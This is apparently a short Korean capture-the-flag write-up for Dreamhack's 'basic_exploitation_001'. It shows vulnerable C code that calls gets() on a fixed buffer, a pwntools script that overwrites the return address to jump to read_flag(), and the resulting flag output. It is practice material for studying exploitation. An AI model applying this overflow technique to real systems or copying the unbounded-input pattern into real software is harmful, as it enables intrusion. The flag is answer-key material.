basic_exploitation_001

```
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    gets(buf);

    return 0;
}
```

read_flag()를 실행시키면 되는 간단한 문제다.

buf를 입력 받을 때 사이즈 제한이 없으니 buffer overflow를 일으킬 수 있다.

0x080485b9 read_flag 주소를 확인할 수 있다.

```
from pwn import *

r = remote("host1.dreamhack.games", 22351)
read_flag = 0x080485b9

payload = b"\x00"*128 + b"\x00"*4 + p32(read_flag)

r.sendline(payload)

r.interactive()
```


root@e2874770fccd:[Dreamhack] basic_exploitation# python3 basic_exploitation_001.py
[+] Opening connection to host1.dreamhack.games on port 22351: Done
[*] Switching to interactive mode
DH{01ec06f5e1466e44f86a79444a7cd116}[*] Got EOF while reading in interactive
$